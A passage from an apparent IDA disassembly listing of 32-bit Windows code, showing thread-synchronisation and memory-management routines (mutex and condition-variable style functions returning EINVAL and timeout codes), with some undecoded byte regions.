					; DATA XREF: ___:off_4313ECo
		call	sub_4017CB	; jumptable 004313BE case 3
		retn	0Ch
; ---------------------------------------------------------------------------


loc_4313DD:				; CODE XREF: ___:004313BEj
					; DATA XREF: ___:off_4313ECo
		call	sub_4017CB	; jumptable 004313BE case 0
		call	sub_401627

locret_4313E7:				; CODE XREF: ___:004313BCj
		retn	0Ch		; default
; ---------------------------------------------------------------------------
		align 4
off_4313EC	dd offset loc_4313DD	; DATA XREF: ___:004313BEr
		dd offset loc_4313C5	; jump table for switch	statement
		dd offset loc_4313CD
		dd offset loc_4313D5
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431420:				; CODE XREF: ___:004017C1j
		mov	eax, dword_5103B4
		push	esi
		push	edi
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		db 8Bh,	7Ch, 24h
		dd 83F08B10h, 0F68504C4h, 90570A75h, 808EC6E8h,	4C48377h
		dd 7E89016Ah, 99FE814h,	0C483FFFDh, 0C35E5F04h,	3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_431470	proc near		; CODE XREF: sub_401762j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	offset dword_5108C0
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_43149B
		mov	eax, [eax+4]
		test	eax, eax
		jz	short loc_43149B
		push	eax
		nop
		call	near ptr 278065Eh
		cmp	eax, 7FFFFFFFh
		jnz	short loc_4314A0


loc_43149B:				; CODE XREF: sub_431470+14j
					; sub_431470+1Bj
		mov	esi, 3


loc_4314A0:				; CODE XREF: sub_431470+29j
		push	offset dword_5108C0
		nop
		call	near ptr 7C9010EDh
		test	esi, esi
		jnz	short loc_4314BC
		mov	eax, [esp+4+arg_4]
		test	eax, eax
		mov	eax, 16h
		jnz	short loc_4314BE


loc_4314BC:				; CODE XREF: sub_431470+3Dj
		mov	eax, esi


loc_4314BE:				; CODE XREF: sub_431470+4Aj
		pop	esi
		retn
sub_431470	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4314E0:				; CODE XREF: ___:00401654j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	short loc_431531
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_431531
		mov	eax, [esi]
		xor	ebx, ebx
		test	eax, eax
		jnz	short loc_431511
		lea	eax, [esi+4]
		push	eax
		nop
		call	near ptr 27805BDh
		test	eax, eax
		jnz	short loc_431517
		call	edi	; _errno
		mov	dword ptr [esi], 1


loc_431511:				; CODE XREF: ___:004314F9j
					; ___:0043151Aj
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431517:				; CODE XREF: ___:00431507j
		cmp	dword ptr [esi], 0
		jnz	short loc_431511
		mov	edi, dword_5118D8


loc_431522:				; CODE XREF: ___:00431529j
		push	0
		call	edi
		cmp	dword ptr [esi], 0
		jz	short loc_431522
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431531:				; CODE XREF: ___:004314E9j
					; ___:004314F1j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431560	proc near		; CODE XREF: sub_4012E4j
		mov	eax, dword_5103B4
		push	esi
		push	edi
		push	eax
		call	sub_401190
sub_431560	endp

; ---------------------------------------------------------------------------
		db 8Bh,	0F0h, 83h
		dd 0F68504C4h, 0ACE87675h, 8BFFFD05h, 74F685F0h, 7C7E8B5Bh
		dd 1B8h, 53F80B00h, 897C7E89h, 0E8902046h, 233F702h, 187C1D8Bh
		dd 26A0051h, 6A047E8Dh,	57006A00h, 0D3FF0689h, 0ECD2E850h
		dd 50900237h, 9050D3FFh, 34EA43E8h, 5BC08502h, 0E8560E75h
		dd 0FFFD0609h, 3304C483h, 0C35E5FC0h, 0E8510F8Bh, 234F086h
		dd 28468990h, 3B4158Bh,	52560051h, 0FD0B10E8h, 8C483FFh
		dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_431630	proc near		; CODE XREF: sub_401A64j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jnz	short loc_43164E
		test	eax, eax
		jz	short loc_431648
		mov	eax, [eax]
		mov	edx, [ecx]
		cmp	eax, edx
		jnz	short loc_43164E


loc_431648:				; CODE XREF: sub_431630+Ej
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_43164E:				; CODE XREF: sub_431630+Aj
					; sub_431630+16j
		xor	eax, eax
		retn
sub_431630	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431670:				; CODE XREF: ___:0040200Ej
		mov	eax, [esp+4]
		test	eax, eax
		jge	short loc_43167E
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_43167E:				; CODE XREF: ___:00431676j
		mov	dword_5103C4, eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4316A0:				; CODE XREF: ___:00401564j
		mov	eax, dword_5103C4
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4316C0	proc near		; CODE XREF: sub_401B27j
		push	esi
		call	sub_401307
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4316E2
		push	84h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_431729


loc_4316E2:				; CODE XREF: sub_4316C0+Aj
		push	0
		push	0
		or	eax, 0FFFFFFFFh
		push	1
		push	0
		mov	dword ptr [esi+28h], 0
		mov	dword ptr [esi+20h], 0
		mov	dword ptr [esi+30h], 0
		mov	dword ptr [esi+34h], 1
		mov	[esi+2Ch], eax
		mov	[esi+24h], eax
		call	near ptr 277090Bh
		nop
		test	eax, eax
		mov	[esi+38h], eax
		jnz	short loc_431729
		push	esi
		call	sub_401BD1
		add	esp, 4
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431729:				; CODE XREF: sub_4316C0+20j
					; sub_4316C0+5Aj
		mov	eax, esi
		pop	esi
		retn
sub_4316C0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431750	proc near		; CODE XREF: sub_401307j
		push	esi
		push	offset dword_5108C0
		nop
		call	near ptr 7C901005h
		mov	esi, dword_447708
		cmp	esi, 1
		jz	short loc_431785
		mov	eax, [esi+8]
		push	offset dword_5108C0
		mov	dword_447708, eax
		mov	dword ptr [esi+8], 0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431785:				; CODE XREF: sub_431750+15j
		push	offset dword_5108C0
		xor	esi, esi
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_431750	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4317C0	proc near		; CODE XREF: sub_401BD1j

arg_0		= dword	ptr  4

		push	edi
		push	offset dword_5108C0
		nop
		call	near ptr 7C901005h
		mov	edx, [esp+4+arg_0]
		mov	ecx, 21h
		xor	eax, eax
		mov	edi, edx
		rep stosd
		mov	eax, dword_447708
		push	offset dword_5108C0
		mov	[edx+8], eax
		mov	dword_447708, edx
		call	near ptr 7C9010EDh
		nop
		pop	edi
		retn
sub_4317C0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431810	proc near		; CODE XREF: sub_40164Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0FFFFFFFFh
		push	eax
		call	sub_431830
sub_431810	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431830	proc near		; CODE XREF: sub_431810+7p
					; sub_431950+Ap

var_8		= dword	ptr -8
arg_0		= dword	ptr  4

		sub	esp, 8
		mov	eax, [esp+8+arg_0]
		push	esi
		push	edi
		mov	edi, 1
		mov	[esp+10h+var_8], eax
		call	sub_4012E4
sub_431830	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jz	short loc_431866
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	short loc_43186E
		mov	eax, [esi+38h]
		test	eax, eax
		mov	[esp+0Ch], eax
		jz	short loc_43186E
		mov	edi, 2
		jmp	short loc_43186E
; ---------------------------------------------------------------------------


loc_431866:				; CODE XREF: ___:0043184Bj
		mov	dword ptr [esp+0Ch], 0


loc_43186E:				; CODE XREF: ___:00431852j
					; ___:0043185Dj ...
		mov	ecx, [esp+18h]
		lea	edx, [esp+8]
		push	ecx
		push	0
		push	edx
		push	edi
		nop
		call	near ptr 2770760h
		mov	ecx, eax
		sub	ecx, 0
		jz	short loc_4318F9
		dec	ecx
		jz	short loc_4318A4
		sub	eax, 102h
		pop	edi
		neg	eax
		sbb	eax, eax
		pop	esi
		and	eax, 0FFFFD8CAh
		add	eax, 274Ch
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4318A4:				; CODE XREF: ___:00431889j
		mov	eax, [esp+0Ch]
		push	eax
		call	near ptr 2790766h
		nop
		test	esi, esi
		jz	short loc_4318EE
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402248
		mov	ecx, [esi+0Ch]
		mov	eax, 3
		add	esp, 4
		cmp	ecx, eax
		jge	short loc_4318E5
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4318E5:				; CODE XREF: ___:004318C9j
		push	edi
		call	sub_4010C3
		add	esp, 4


loc_4318EE:				; CODE XREF: ___:004318B1j
		pop	edi
		mov	eax, 16h
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4318F9:				; CODE XREF: ___:00431886j
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_431950	proc near		; CODE XREF: sub_401D84j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_431830
sub_431950	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431980	proc near		; CODE XREF: sub_401C17j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510920
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4319B4
		push	esi
		push	ecx
		call	sub_4021BC
		add	esp, 8
		mov	esi, eax
		push	offset dword_510920
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4319B4:				; CODE XREF: sub_431980+17j
		test	eax, eax
		jnz	short loc_4319BD
		mov	esi, 16h


loc_4319BD:				; CODE XREF: sub_431980+36j
		push	offset dword_510920
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_431980	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4319F0	proc near		; CODE XREF: sub_4021BCj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	ebp
		xor	ebp, ebp
		push	edi
		test	eax, eax
		jnz	short loc_431A04
		pop	edi
		mov	eax, 16h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A04:				; CODE XREF: sub_4319F0+Aj
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_431A1F
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_431A1F
		cmp	dword ptr [eax], 1
		jnz	short loc_431A1F
		pop	edi
		mov	eax, 28h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A1F:				; CODE XREF: sub_4319F0+1Aj
					; sub_4319F0+20j ...
		push	esi
		push	2Ch
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_431A44
		mov	edx, [esp+0Ch+arg_0]
		mov	ebp, 0Ch
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A44:				; CODE XREF: sub_4319F0+41j
		test	edi, edi
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0
		jz	short loc_431A60
		mov	edi, [edi]
		test	edi, edi
		jz	short loc_431A60
		mov	edi, [edi+4]
		jmp	short loc_431A62
; ---------------------------------------------------------------------------


loc_431A60:				; CODE XREF: sub_4319F0+63j
					; sub_4319F0+69j
		xor	edi, edi


loc_431A62:				; CODE XREF: sub_4319F0+6Ej
		push	0
		lea	eax, [esi+10h]
		push	0
		push	eax
		mov	[esi+8], edi
		mov	dword ptr [esi+0Ch], 0
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_431A9D
		push	esi
		mov	ebp, 0Bh
		nop
		call	near ptr 77C2C21Bh
		mov	edx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431A9D:				; CODE XREF: sub_4319F0+8Ej
		lea	ecx, [esi+14h]
		push	ecx
		nop
		call	near ptr 27A0DFAh
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, ebp
		mov	[edx], esi
		pop	esi
		pop	edi
		pop	ebp
		retn
sub_4319F0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431B00	proc near		; CODE XREF: sub_402252j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		test	edi, edi
		jz	loc_431BE0
		mov	eax, [edi]
		test	eax, eax
		jz	loc_431BE0
		cmp	eax, 0FFFFFFFFh
		jz	loc_431BA5
		mov	[esp+8+arg_0], eax
		lea	eax, [esp+8+arg_0]
		push	eax
		call	sub_401785
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	loc_431BDB
		mov	ecx, [esp+8+arg_0]
		mov	eax, [ecx+4]
		cmp	eax, 1
		jnz	short loc_431B97
		lea	ecx, [esp+8+arg_0]
		mov	[edi], esi
		push	ecx
		call	sub_4010C3
		mov	edx, [esp+0Ch+arg_0]
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_431B90
		add	edx, 10h
		push	edx
		call	sub_401690
		mov	eax, [esp+0Ch+arg_0]
		add	esp, 4
		add	eax, 14h
		push	eax
		nop
		call	near ptr 27A0721h
		mov	ecx, [esp+8+arg_0]
		push	ecx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431B90:				; CODE XREF: sub_431B00+61j
		mov	[edi], edx
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431B97:				; CODE XREF: sub_431B00+48j
		dec	eax
		mov	esi, 10h
		mov	[ecx+4], eax
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BA5:				; CODE XREF: sub_431B00+1Dj
		push	offset dword_510920
		nop
		call	near ptr 7C901005h
		cmp	dword ptr [edi], 0FFFFFFFFh
		jnz	short loc_431BCB
		push	offset dword_510920
		mov	dword ptr [edi], 0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BCB:				; CODE XREF: sub_431B00+B3j
		push	offset dword_510920
		mov	esi, 10h
		nop
		call	near ptr 7C9010EDh


loc_431BDB:				; CODE XREF: sub_431B00+38j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431BE0:				; CODE XREF: sub_431B00+Aj
					; sub_431B00+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_431B00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431C30	proc near		; CODE XREF: sub_401A1Ej

arg_0		= dword	ptr  4

		push	esi
		push	8
		push	1
		xor	esi, esi
		call	near ptr 77C2C0C3h
		nop
		add	esp, 8
		cmp	eax, esi
		jnz	short loc_431C53
		mov	edx, [esp+4+arg_0]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_431C53:				; CODE XREF: sub_431C30+12j
		mov	ecx, [esp+4+arg_0]
		mov	[eax], esi
		mov	[eax+4], esi
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
sub_431C30	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431C80	proc near		; CODE XREF: sub_4010AAj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_431CA1
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_431CA1
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431CA1:				; CODE XREF: sub_431C80+9j
					; sub_431C80+Fj
		mov	eax, 16h
		pop	esi
		retn
sub_431C80	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431CC0:				; CODE XREF: ___:00401BBDj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431CDD
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_431CDD
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_431CDD
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_431CDD:				; CODE XREF: ___:00431CC6j
					; ___:00431CCCj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431D00:				; CODE XREF: ___:00401906j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_431D2A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_431D2A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_431D1E
		test	eax, eax
		jnz	short loc_431D2A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_431D1E:				; CODE XREF: ___:00431D15j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_431D2A:				; CODE XREF: ___:00431D06j
					; ___:00431D0Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431D40	proc near		; CODE XREF: sub_40119Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_431D61
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_431D61
		mov	edx, [esp+arg_4]
		test	edx, edx
		jl	short loc_431D61
		cmp	edx, 2
		jg	short loc_431D61
		mov	[ecx+4], edx
		retn
; ---------------------------------------------------------------------------


loc_431D61:				; CODE XREF: sub_431D40+8j
					; sub_431D40+Ej ...
		mov	eax, 16h
		retn
sub_431D40	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431D80	proc near		; CODE XREF: sub_4018CFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_431D9E
		mov	ecx, [ecx]
		test	ecx, ecx
		jz	short loc_431D9E
		mov	edx, [esp+arg_4]
		test	edx, edx
		jz	short loc_431D9E
		mov	ecx, [ecx+4]
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_431D9E:				; CODE XREF: sub_431D80+8j
					; sub_431D80+Ej ...
		mov	eax, 16h
		retn
sub_431D80	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431DC0	proc near		; CODE XREF: sub_402248j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	loc_431E77
		mov	eax, [esi]
		test	eax, eax
		jz	loc_431E77
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431DF1
		push	esi
		call	sub_401C17
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_431DF1
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431DF1:				; CODE XREF: sub_431DC0+1Dj
					; sub_431DC0+2Cj
		mov	esi, [esi]
		push	esi
		nop
		call	near ptr 27805BDh
		test	eax, eax
		jnz	short loc_431E1A


loc_431DFE:				; CODE XREF: sub_431DC0+A8j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_431E12
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_431E12:				; CODE XREF: sub_431DC0+4Bj
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431E1A:				; CODE XREF: sub_431DC0+3Cj
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_431E5A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFCFC34h, 8508C483h, 562374C0h, 35EAEDE8h
		dd 7E839002h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h
		dd 24BFh, 5FC78B00h
; ---------------------------------------------------------------------------
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431E5A:				; CODE XREF: sub_431DC0+5Fj
		lea	ecx, [esi+10h]
		push	ecx
		call	sub_431EB0
		add	esp, 4
		test	eax, eax
		jz	short loc_431DFE
		call	near ptr 77C1F2BCh
		nop
		mov	edi, [eax]
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431E77:				; CODE XREF: sub_431DC0+Aj
					; sub_431DC0+14j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_431DC0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431EB0	proc near		; CODE XREF: sub_431DC0+9Ep

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_431ECA
		mov	eax, [eax]
		push	0FFFFFFFFh
		mov	ecx, [eax]
		push	ecx
		call	near ptr 2790664h
		nop
		test	eax, eax
		jnz	short loc_431ECA
		retn
; ---------------------------------------------------------------------------


loc_431ECA:				; CODE XREF: sub_431EB0+6j
					; sub_431EB0+17j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		retn
sub_431EB0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431EF0	proc near		; CODE XREF: sub_401BD6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebp
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebp, ebp
		test	esi, esi
		jz	loc_432088
		mov	eax, [esi]
		test	eax, eax
		jz	loc_432088
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431F21
		push	esi
		call	sub_401C17
		mov	ebp, eax
		add	esp, 4
		test	ebp, ebp
		jz	short loc_431F21
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431F21:				; CODE XREF: sub_431EF0+1Dj
					; sub_431EF0+2Cj
		mov	esi, [esi]
		push	ebx
		push	edi
		push	esi
		nop
		call	near ptr 27805BDh
		test	eax, eax
		jnz	short loc_431F52


loc_431F30:				; CODE XREF: sub_431EF0+175j
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	loc_43207E
		call	sub_4012E4
; ---------------------------------------------------------------------------
		pop	edi
		mov	[esi+0Ch], eax
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431F52:				; CODE XREF: sub_431EF0+3Ej
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_431F96
		call	sub_4012E4
; ---------------------------------------------------------------------------
		dw 8B50h
		dd 0E8500C46h, 0FFFCFAFCh, 8508C483h, 562774C0h, 0E9B4E890h
		dd 7E830235h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h
		dd 24BDC35Dh, 5F000000h, 5EC58B5Bh
; ---------------------------------------------------------------------------
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431F96:				; CODE XREF: sub_431EF0+67j
		mov	eax, [esp+10h+arg_4]
		test	eax, eax
		jnz	short loc_431FAA
		mov	ebp, 16h
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431FAA:				; CODE XREF: sub_431EF0+ACj
		lea	edi, [esi+10h]
		push	eax
		push	edi
		call	sub_432100
		add	esp, 8
		sub	eax, 0
		jz	loc_43206A
		dec	eax
		jz	short loc_432034
		dec	eax
		jz	short loc_431FD5
		nop
		call	near ptr 77C1F2BCh
		mov	ebp, [eax]
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431FD5:				; CODE XREF: sub_431EF0+D4j
		lea	ebx, [esi+14h]
		push	ebx
		nop
		call	near ptr 7C901005h
		push	edi
		mov	ebp, 274Ch
		call	sub_4010A5
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_432007
		call	near ptr 279092Ah
		nop
		push	ebx
		call	near ptr 7C9010EDh
		nop
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_432007:				; CODE XREF: sub_431EF0+101j
		nop
		call	near ptr 279092Ah
		test	eax, eax
		jl	short loc_432026
		push	edi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_432026
		nop
		call	near ptr 77C1F2BCh
		mov	ebp, [eax]


loc_432026:				; CODE XREF: sub_431EF0+11Fj
					; sub_431EF0+12Cj
		push	ebx
		call	near ptr 7C9010EDh
		nop
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_432034:				; CODE XREF: sub_431EF0+D1j
		lea	ebx, [esi+14h]
		push	ebx
		nop
		call	near ptr 7C901005h
		push	edi
		call	sub_4010A5
		mov	edi, eax
		add	esp, 4
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_43205A
		push	esi
		nop
		call	near ptr 279092Ah
		mov	ebp, 274Ch


loc_43205A:				; CODE XREF: sub_431EF0+15Cj
		push	ebx
		nop
		call	near ptr 7C9010EDh
		test	edi, edi
		jnz	short loc_432081
		jmp	loc_431F30
; ---------------------------------------------------------------------------


loc_43206A:				; CODE XREF: sub_431EF0+CAj
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_43207E
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_43207E:				; CODE XREF: sub_431EF0+4Dj
					; sub_431EF0+187j
		mov	[esi+0Ch], eax


loc_432081:				; CODE XREF: sub_431EF0+173j
		pop	edi
		pop	ebx
		mov	eax, ebp
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_432088:				; CODE XREF: sub_431EF0+Aj
					; sub_431EF0+14j
		pop	esi
		mov	eax, 16h
		pop	ebp
		retn
sub_431EF0	endp

; ---------------------------------------------------------------------------
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432100	proc near		; CODE XREF: sub_431EF0+BFp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 0Ch
